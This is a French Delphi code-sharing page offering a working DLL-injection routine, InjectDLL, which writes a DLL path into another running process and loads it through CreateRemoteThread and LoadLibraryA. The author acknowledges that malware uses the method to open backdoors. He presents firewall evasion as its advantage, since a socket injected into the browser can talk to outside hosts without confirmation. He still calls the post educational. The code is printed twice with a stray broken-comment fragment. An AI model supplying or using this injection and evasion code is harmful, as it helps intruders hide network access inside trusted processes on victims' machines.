Accueil > > > INJECTER DLL DANS UN PROCESSUS EN COURS
INJECTER DLL DANS UN PROCESSUS EN COURS
Information sur la source
Description
Bon au départ je ne voulais pas poster ce code, mais Forman m'a doubler avec çà source : http://www.delphifr.com/codes/REMPLACER-FONCTION-D LL-IMPORTE-QUELLE-AUTRE_38484.aspx Du coup je vais vous présenter l'injection de DLL dans un processus, non pas pour remplacer une fonction comme la fait Forman, mais qu'elle tourne indépendemment en tache de fond sur un autre processus. Il faudra biensur crée avant une DLL dynamique qui est une fonction particulière (sorte d'application embarqué). Cette technique est utilisée par certain malware afin d'ouvrir des canaux (porte d'entrées) sur votre PC, pour y laisser entrer des intrus. Mon programme est assez généraliste car il permet de selectionner la DLL à injecter et le processus cible. Mais l'avantage de se type d'injection, et que si elle est faite sur votre navigateur internet, les firewall laissant votre navigateur envoyer et recevoir sans confirmation et la socket faisant partie de l'application, le FireWall laissera votre socket embarqué lire et ecrire sur une socket client exterieure en passant outre les protections.
Source
- // La fonction d'injection
-
- function InjectDLL( DLLSource : string; ProcessDestination : string ) : Boolean;
- var
- LibName : Pointer;
- hProcess : THandle;
- ThreadHandle: THandle;
- OctEcrit : Cardinal;
- TheadID : DWORD;
- begin
- Result := False;
-
- AjustePrivileges; // voir dans le Zip pour cette fonction
-
- hProcess := OpenProcess( PROCESS_ALL_ACCESS, FALSE, FindProcess( ProcessDestination ) );
- if (hProcess = 0) then Exit;
-
- LibName := VirtualAllocEx( hProcess, nil, Length(DLLSource) + 1, MEM_COMMIT, PAGE_READWRITE );
- if ( LibName <> nil ) then
- begin
- WriteProcessMemory( hProcess, LibName, PChar(DLLSource), Length(DLLSource) + 1, OctEcrit );
- if ( (Length(DLLSource) + 1) <> OctEcrit ) then Exit;
- le process
- ThreadHandle := CreateRemoteThread( hProcess, nil, 0, GetProcAddress( LoadLibrary('kernel32.dll'), 'LoadLibraryA' ), LibName, 0, TheadID );
- Result := ( ThreadHandle <> 0 );
- WaitForSingleObject( ThreadHandle, INFINITE );
- end else Result := False;
- VirtualFreeEx( hProcess, LibName, 0, MEM_RELEASE );
- CloseHandle( hProcess );
- end;
// La fonction d'injection
function InjectDLL( DLLSource : string; ProcessDestination : string ) : Boolean;
var
LibName : Pointer;
hProcess : THandle;
ThreadHandle: THandle;
OctEcrit : Cardinal;
TheadID : DWORD;
begin
Result := False;
AjustePrivileges; // voir dans le Zip pour cette fonction
hProcess := OpenProcess( PROCESS_ALL_ACCESS, FALSE, FindProcess( ProcessDestination ) );
if (hProcess = 0) then Exit;
LibName := VirtualAllocEx( hProcess, nil, Length(DLLSource) + 1, MEM_COMMIT, PAGE_READWRITE );
if ( LibName <> nil ) then
begin
WriteProcessMemory( hProcess, LibName, PChar(DLLSource), Length(DLLSource) + 1, OctEcrit );
if ( (Length(DLLSource) + 1) <> OctEcrit ) then Exit;
le process
ThreadHandle := CreateRemoteThread( hProcess, nil, 0, GetProcAddress( LoadLibrary('kernel32.dll'), 'LoadLibraryA' ), LibName, 0, TheadID );
Result := ( ThreadHandle <> 0 );
WaitForSingleObject( ThreadHandle, INFINITE );
end else Result := False;
VirtualFreeEx( hProcess, LibName, 0, MEM_RELEASE );
CloseHandle( hProcess );
end;
Conclusion
Les sources fournies avec le Zip ne contiennent aucun "Malware", et ma DLL contient juste un serveur socket qui renvoi ce que lui envoi le client connecté : donc rien de méchant. Cette source à un but pédagogique, je ne cherche en rien à faire de futur HAcKer, je vous serez grée de ne pas me la supprimer, un avertissement serai suffisant !
J'ai posté cette source un peu rapidement, donc s'il y a des corrections je suis preneur.
Notes et commentaires sont les bienvenues !
Sources du même auteur
Sources de la même categorie
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
Dll injection dans iexplore [ par achraf1986 ]
Salut a tous !!! j'ai chercher dans tous le net mais j'ai pas trouver un source qui montre comment ajouter un boutton dans Internet explorer alors aid
comment declarer une fonction privé dans une dll delphi [ par jayceblaster ]
Bonjour,je suis en train de créer un dll via l'expert de DLL delphi et je souhaite déclarer une fonction privé comme je peux le faire dans un projet V
Handle & Processus [ par flo160fr ]
Bonjour !Je voudrais savoir :Comment savoir si un processus est en cours d'execution (avec le nom de l'executable si possible)Comment obtenir le handl
bdd mysql [ par amine_koubba ]
bonjour,j ai un ptit pb(si ce n est un gros) en effetj ai développé une application delphi utilisant une base de données mysql,j aimerais savoir si il
Convertir fonction DLL en Delphi [ par nitrique ]
Bonjour à tous,J'ai une DLL qui possède cette fonction selon la doc:NoMangle long DLL_IMPORT_EXPORT csp2GetCodeType(unsigned char CodeId<font face="Ar
Bug avec une fiche dans une dll et thème XP [ par rt15 ]
Bonjour,Je ne parviens pas à utiliser une fiche dans une dll possédant un GroupBox utilisée dans une appli utilisant le thème XP. (Rien n'est option
Envoyer un message d'une dll à un service windows [ par octavianus_1 ]
Bonjour à tousJe dois adapter un projet (transformer un application en service, le tout en Delphi7) où une dll transmet un message à destination de l'
Port Parallele [ par coquenpate ]
J'ai fait pas mal de recherches pour savoir comment lire et écrire sur mon port parallèle LPT1.J'ai trouvé des méthodes pour Windows XP, et notamment
Supprimer la DLL Delphi qui tourne [ par EricDD ]
Bonjour,Je ne vois pas de question sur ce thème, pourtant cela doit arriver à tout le monde :Quand vous arrivez avec une nouvelle version de votre DLL
Décharger une DLL de la mémoire [ par EricDD ]
Bonjour,Je travaille avec une appli ecommerce en asp, qui fait appel à une DLL Delphi, enregistrée comme composant COM+ : Je n'ai pas d'exe.Je suis a
|
Derniers Blogs
[HS] CHROME 6 + MOI = COUP DE GUEULE ![HS] CHROME 6 + MOI = COUP DE GUEULE ! par JeremyJeanson
Attention, le poste qui suit n'est pas la complainte d'une personne : Qui n'aime pas Chrome. D'un anti Google. D'un développeur qui a un poil énorme dans la main. Ceux qui me fréquentent savent que je change de navigateur favori tous les 2 ou 3 mois afin ...
Cliquez pour lire la suite de l'article par JeremyJeanson [WP7] UTILISER UN WRAPPANEL DANS UNE APPLICATION WINDOWS PHONE 7[WP7] UTILISER UN WRAPPANEL DANS UNE APPLICATION WINDOWS PHONE 7 par Audrey
Lors de la réalisation de ma 2ème application Windows Phone 7, j'ai souhaité utiliser un WrapPanel pour afficher plusieurs photos. Mais le contrôle WrapPanel ne fait pas parti de la liste des contrôles inclus dans le SDK de la version Beta des outils pour...
Cliquez pour lire la suite de l'article par Audrey [WP7] BESOIN D'AVOIR DES DONNéES EN CACHE[WP7] BESOIN D'AVOIR DES DONNéES EN CACHE par Nicolas
Les développeurs ASP.NET ont l'habitude de mettre des données en cache pour éviter de requêter a chaque fois la base de données. Et il est toujours utilie de penser que vos utilisateurs mobiles n'ont pas troujours une super connexion 3G/WIFI et un for...
Cliquez pour lire la suite de l'article par Nicolas [TFS] COMMENT FORCER LA SAISIE D'UN AREA OU ITERATION[TFS] COMMENT FORCER LA SAISIE D'UN AREA OU ITERATION par cyril
Lorsque l'on créé un Work Item dans TFS, il est possible de le classer dans un "area" et dans une "iteration". Dans la plupart des types de projet, un "area" correspond à une catégorie, une "iteration" à un numéro de version. Il est possible de cré...
Cliquez pour lire la suite de l'article par cyril SQL : FONCTIONS D'AGRéGATION MIN/MAX ET VALEURS NULLSQL : FONCTIONS D'AGRéGATION MIN/MAX ET VALEURS NULL par coq
Les fonctions d'agrégation comme MIN et MAX ignorent les valeurs NULL présentes dans le jeu de données sur lequel porte leur calcul, d'où le fameux message d'avertissement : Warning: Null value is eliminated by an aggregate or other SET operation...
Cliquez pour lire la suite de l'article par coq
Logiciels
Bureau de Gestion - ERP Devis Facturation (2.02)BUREAU DE GESTION - ERP DEVIS FACTURATION (2.02)
- Version gratuite du 10/06/2010
Le Bureau de Gestion est un logiciel dédié à la gestion de l'en...
Cliquez pour télécharger Bureau de Gestion - ERP Devis Facturation sDEVIS-FACTURES vlPRO (3.8.0)SDEVIS-FACTURES VLPRO (3.8.0)sDEVIS-FACTURES vlPRO a été mis au point pour permettre besoins des particuliers, créateurs, entr... Cliquez pour télécharger sDEVIS-FACTURES vlPRO LettresFaciles (5.6.0)LETTRESFACILES (5.6.0)LettresFaciles est un logiciel facilitant la création et la rédaction de lettres types.
Son inte... Cliquez pour télécharger LettresFaciles MyPlanning 2010 (5.6.0)MYPLANNING 2010 (5.6.0)MyPlanning 2010 permet de créer des plannings sous la représentation de diagrammes. Plannings pré... Cliquez pour télécharger MyPlanning 2010 Emicsoft Mac DVD en iPad Convertisseur (3.1.16)EMICSOFT MAC DVD EN IPAD CONVERTISSEUR (3.1.16)Emicsoft Mac DVD en iPad Convertisseur, logiciel professionnel de convertir les fichiers DVD en i... Cliquez pour télécharger Emicsoft Mac DVD en iPad Convertisseur
|